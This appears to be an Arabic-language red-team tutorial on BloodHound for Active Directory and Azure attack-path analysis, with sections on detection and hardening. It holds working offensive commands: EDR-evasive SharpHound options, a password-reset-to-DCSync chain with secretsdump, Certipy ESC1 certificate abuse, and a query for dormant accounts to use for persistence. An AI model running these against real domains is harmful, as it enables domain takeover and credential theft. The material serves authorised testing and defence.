BloodHound Mastery — لو معرفتش تستخدمه يبقى مش شغّال
SharpHound و AzureHound و Cypher — مسارات للـ Domain Admin
إيه هو BloodHound — وليه غيّر AD pentesting للأبد؟
- يشغّل
SharpHound -c Allفي بيئة عميل من أول ثانية. الـ EDR بيولّع في 30 ثانية. - يستخدم الـ pre-built queries بس وما يكتبش Cypher. الـ pre-built بيغطي 30٪ بس من الحالات الحقيقية.
- ما يضغطش "Mark as Owned" على اليوزرز اللي خرقهم، فيفضل يرسم الجراف من الصفر كل مرة.
- ينسى الـ trusts. الـ child-domain trust = forest pivot جاهز، وهو مش شايفه.
BloodHound CE (Community Edition) هو الـ standard الحالي (2024+) — حل محل النسخة القديمة Legacy. النظام client-server: SharpHound/AzureHound بيلم، وBloodHound CE بيحلل ويرسم.
مكونات النظام — اعرف القطع قبل ما تشغل أي حاجة
- SharpHound (.NET): الـ collector لـ on-prem Active Directory. بيشتغل من جهاز مربوط بالـ domain (أو من لينكس مع credentials).
- AzureHound (Go): الـ collector لـ Azure AD / Entra ID. بيقرا Microsoft Graph + ARM APIs.
- BloodHound CE: التطبيق اللي بيستورد الـ JSON ويعرض الجراف.
- Neo4j: قاعدة بيانات الجراف اللي تحت. مش بتتعامل معاها مباشرة في الغالب، بس تقدر تستعلم منها بـ Cypher.
- الـ "Edges": العلاقات (MemberOf, AdminTo, GenericAll, ForceChangePassword, …) — دي قلب التحليل كله.
تركيب BloodHound CE — Docker (الأسرع)
# يتطلب Docker + Docker Compose
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose
docker compose pull
docker compose up
# افتح http://localhost:8080
# username: admin, password يُطبع في log أول تشغيل
docker logs bloodhound 2>&1 | grep "Initial Password"BloodHound CE حل محل BloodHound Legacy. لو لقيت دروس قديمة بتقولك BloodHound.exe، دي legacy. الـ CE web-based وأكثر استقراراً بكتير.
جمع البيانات — SharpHound
# نزّل SharpHound من https://github.com/SpecterOps/SharpHound/releases
# أو ضمن BloodHound CE → File Ingest → Download collector
# الافتراضي: كل شيء عدا session enumeration
SharpHound.exe -c All
# التفاصيل:
# DCOnly — فقط معلومات DC، لا يلمس أي جهاز آخر (الأقل ضوضاء)
# Default — DC + group memberships + sessions + local admin
# All — كل شيء (الأعلى تغطية، الأكثر ضوضاء)
# Session — من الذي يسجّل دخول أين الآن
# LoggedOn — مثل Session لكن أكثر دقة (يحتاج local admin)
# ACL — العلاقات الأهم — اجمعها دائماً# bloodhound.py — Python alternative
pip install bloodhound
bloodhound-python -d corp.local -u user -p 'Pass!23' \
-c all -ns 10.10.10.10 --zip
# يخرج .zip جاهز للرفع- --Stealth: بيقلل الضوضاء، بيتفادى الـ collection methods اللي بتستفز الـ EDR.
- --JitterPercent 30 --Throttle 1000: عشوائية + تأخير بين الطلبات.
- --ExcludeDomainControllers: متفحصش الـ DCs مباشرة — ممكن تستفز ATA / Defender for Identity.
- ابعد عن All في بيئة حساسة:
-c DCOnly,Group,LocalGroup,GPOLocalGroup,Trusts,ACLأهدا. - ابدأ بـ DCOnly: لو عدّى من غير ما حد يحس، وسّع تدريجياً.
BloodHound CE → زرار "File Ingest" → اسحب وأفلت الـ .zip
أو في legacy: ادخل واجهة Neo4j → Upload Data → اختار ملفات الـ JSON
وقت الانتظار: domain متوسط ~15-30 دقيقة عشان يتعمل importجمع Azure — AzureHound
# Linux/Windows، Go binary
azurehound list -u 'user@tenant.onmicrosoft.com' -p 'Pass!' \
--tenant abcd-efgh-... -o azure.json
# أو بـ refresh token (أكثر صمتاً)
azurehound -r '<refresh_token>' --tenant ... list
# يجمع: users, groups, apps, service principals, role assignments, devices, subscriptions, RGsالاستعلامات الجاهزة — أول 20 محتاج تعرفها
في BloodHound اضغط Search → Pre-built Queries:
- Find all Domain Admins
- Find Shortest Paths to Domain Admins
- Find Principals with DCSync Rights
- Find Computers where Domain Users are Local Admin
- Find Kerberoastable Users with Path to DA
- Find AS-REP Roastable Users (DontReqPreAuth)
- Find Computers with Unsupported OS
- Shortest Paths from Owned Principals
- Find users with Constrained Delegation
- Find computers with Unconstrained Delegation
- Find ADCS abuse paths (ESC1-15)
- Find LAPS read access
- Find Disabled accounts that are Kerberoastable
- Find PrincipalsWith DangerousACE on the Domain
- Find owned objects (mark as red)
- Find sessions of Domain Admins on non-DC
- Find Global Admins
- Service Principals with Microsoft Graph
- Apps with dangerous Graph permissions
- Path from on-prem to Azure (hybrid escapes)
Cypher — اللغة السرّية لـ BloodHound
// 1) كل المسارات من user محدد إلى Domain Admins
MATCH p=shortestPath((u:User {name:"BOB@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p
// 2) أين له Domain User صلاحية write على computer
MATCH p=(u:User {name:"DOMAIN USERS@CORP.LOCAL"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember]->(c:Computer)
RETURN p
// 3) Kerberoastable + path لـ DA — السلاح الأقوى
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN u.name, p
ORDER BY length(p)
// 4) كل المستخدمين الذين لا يتطلبون Pre-Auth (AS-REP roastable)
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.enabled
// 5) كل GPOs و من يحرّرها — تعديل GPO = code execution على آلاف الأجهزة
MATCH p=(s)-[r:GenericAll|GenericWrite|WriteOwner]->(g:GPO)
RETURN p
// 6) مسارات من جهاز "owned" (علّمته red) لأي high-value target
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(t {highvalue:true}))
RETURN p LIMIT 50
// 7) مستخدمين لم يسجّلوا دخول منذ 6 شهور — حسابات نائمة جيدة لـ persistence
MATCH (u:User)
WHERE u.lastlogon < (timestamp()/1000 - 15768000)
AND u.enabled = true
RETURN u.name, u.lastlogon
ORDER BY u.lastlogonالـ Edges — أهم 15 لازم تحفظهم
- MemberOf: عضوية مجموعة. الـ traversal الأساسي.
- AdminTo: لـ user/group صلاحية local admin على computer.
- GenericAll: تحكّم كامل بالـ object — أقوى ACL.
- GenericWrite: كتابة معظم attributes.
- WriteOwner: تستطيع جعل نفسك المالك ثم تعطي نفسك GenericAll.
- WriteDacl: تعديل ACL → اعطِ نفسك أي صلاحية.
- AllowedToDelegate: Constrained Delegation.
- AllowedToAct: RBCD (resource-based constrained delegation).
- HasSession: مستخدم مسجّل دخول هنا → احصد NTLM/Kerberos cache.
- ForceChangePassword: غيّر كلمة سر مستخدم آخر بدون معرفة القديمة.
- AddMember: أضف نفسك لمجموعة قوية.
- ReadLAPSPassword: اقرأ كلمة سر local admin من LAPS.
- ReadGMSAPassword: اقرأ كلمة سر gMSA.
- DCSync: اقرأ كل hashes من DC — game over.
- GetChangesAll: نفس الشيء (تركيبة من Replication permissions).
- SyncLAPSPassword: قراءة LAPS عبر AD replication.
سيناريو حقيقي — من Domain User لـ Domain Admin في 4 خطوات
لقطت hash لـ jsmith عن طريق Responder. كليك يمين عليه في BloodHound → Mark User as Owned.
شغّل الاستعلام الجاهز "Shortest Paths from Owned Principals". هتشوف:
jsmith → MemberOf → IT-SUPPORT
IT-SUPPORT → ForceChangePassword → svc_backup
svc_backup → MemberOf → BACKUP_OPERATORS
BACKUP_OPERATORS → DCSync → CORP.LOCAL# 1) jsmith → غيّر باسورد svc_backup
net user svc_backup NewP@ss123 /domain
# أو عن طريق Set-DomainUserPassword (PowerView)
Set-DomainUserPassword -Identity svc_backup -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)
# 2) سجل دخول كـ svc_backup → نفذ DCSync
secretsdump.py CORP/svc_backup:'NewP@ss123'@DC.CORP.LOCAL -just-dc
# النتيجة: كل NTLM hashes في الدومين → بما فيهم krbtgt → Golden Ticket للأبدرجّع باسورد svc_backup للقيمة الأصلية لو قدرت. وثّق كل خطوة في التقرير. متسبش ticketing artifacts.
اكتبها على المكتب: المهاجم اللي بينضف وراه = اللي بيرجع تاني الشهر الجاي. اللي بيسيب فوضى = هيتمسك مرة وخلاص.
ADCS — ESC1 لـ ESC15 عن طريق BloodHound
BloodHound CE بيكشف كل الـ ESC paths أوتوماتيك عن طريق edges مخصصة:
- ADCSESC1: قالب يسمح بـ SAN spoofing → certificate كأي مستخدم.
- ADCSESC3: enrollment agent template → اطلب cert نيابة عن DA.
- ADCSESC4: vulnerable ACL على template.
- ADCSESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 على CA.
- ADCSESC7-9: NTLM relay → CA endpoints.
- ADCSESC13: OID group link abuse.
# الاستغلال بعد الكشف:
# Certipy (الأداة الموحّدة)
certipy find -u user@corp.local -p Pass! -dc-ip 10.0.0.1 -vulnerable
certipy req -u user@corp.local -p Pass! -ca CORP-CA \
-template VulnTemplate -upn administrator@corp.local
# نتيجة: cert يصادق كـ administrator → DAنصايح احترافية الـ Red Teams بيستخدموها
- اجمع الداتا قبل ما تحتاجها: شغّل SharpHound أول الـ engagement حتى لو معرفش هتعمل بيها إيه.
- استورد على instance خاص: متخلطش بيانات الـ clients ببعض. Docker لكل engagement.
- اضغط على نود واختار "Set as Starting Node" + "Set as Ending Node" → "Pathfinding".
- "Mark as High Value" للأنظمة الحساسة (file servers، Exchange، PKI، Tier-0). الـ Pathfinding بيفضّلها.
- استخدم تبويب "Analysis" — fan-out / fan-in counts بتكشف الـ bottlenecks في الـ AD.
- Custom queries.json: احفظ الـ Cypher بتاعتك عشان تستخدمها عبر engagements.
- تابع الـ "Outbound Object Control" لكل user بتخترقه — هو يقدر يلمس إيه؟
- BloodHound + ldapdomaindump: مكملين بعض، الـ ldapdomaindump أسرع للملخصات النصية.
- متنساش الـ trusts: ناس كتير بتسيبها، لكن child domain trust = forest pivot.
- قبل أي حركة: Cypher بيقولك أقصر طريق. متتحركش أعمى. كل group بتنضم لها = ضوضاء.
من جهة الحماية — هتتمسك إزاي؟
- كم هائل من LDAP queries من جهاز واحد في وقت قصير.
- SMB sessions على كل host في الدومين (lateral session enumeration).
- Microsoft Defender for Identity بيرفع تنبيه "Reconnaissance using directory services queries".
- Honey objects: حساب وهمي بـ SPN مغري → لو اتعمل له Kerberoast = مهاجم بنسبة 100%.
- تغييرات ACL غير معتادة، خصوصاً على gMSA وLAPS-readable groups.
الحماية — هندسة AD صعب على BloodHound
- Tier model صارم: Tier-0 (DC, ADCS, Entra Connect)، Tier-1 (servers)، Tier-2 (workstations). مفيش login عبر الـ tiers.
- LAPS لكل local admin: كل جهاز معاه باسورد فريد، بيتغير دورياً.
- Kerberoast hardening: gMSA لكل service account، اقفل RC4، AES بس.
- ADCS hardening: راجع كل template، اقفل SAN في user templates، خلي EDITF_ATTRIBUTESUBJECTALTNAME2 مقفول.
- Constrained delegation بس — مفيش Unconstrained على أي host.
- راقب تغييرات الـ ACL على objects قيّمة — تنبيه فوري.
- Privileged Access Workstations (PAW) لـ Tier-0 admins.
- شغّل BloodHound على نفسك دورياً — اعرف الـ paths قبل المهاجم.
- Microsoft Defender for Identity (مدفوع) — بيكشف أغلب تكنيكات BloodHound + Kerberoast + DCSync.
الخلاصة الناشفة
BloodHound مش "أداة من ضمن الأدوات".
هو اللي بيحوّل الـ AD من "غابة مظلمة" لـ "خريطة طرق".
المستجد بيفتح BloodHound، يدوس Find Shortest Path، ياخد screenshot، خلاص.
المحترف بيقعد ساعتين يكتب Cypher. يعرف الـ bottlenecks. يعرف اليوزرز اللي محدش فاكرهم. يعرف الـ trusts المنسية. وبيدخل سكة محدش شافها.
لو إنت blue team؟ اكتبها على الحيطة اللي في وش السرير: شغّل BloodHound على نفسك. كل شهر.
لو لقيت Domain User بيوصل لـ DA في 4 خطوات، الفجوة موجودة. ما تستناش حد يستغلها.
اللي بتشوفه إنت في الجراف، المهاجم شافه قبلك بشهر.
مصادر للإتقان
- BloodHound Docs: bloodhound.specterops.io — رسمي و محدّث.
- SpecterOps blog: مقالات عميقة من المطوّرين.
- HTB Pro Labs (Dante, Offshore, RastaLabs): AD environments واقعية.
- GOAD (Game of Active Directory): مختبر مجاني يُنشأ بـ Vagrant.
- SANS SEC560/SEC565: تدريبات احترافية.
- كتاب The Hacker Playbook 3 + Pentesting Active Directory by SpecterOps.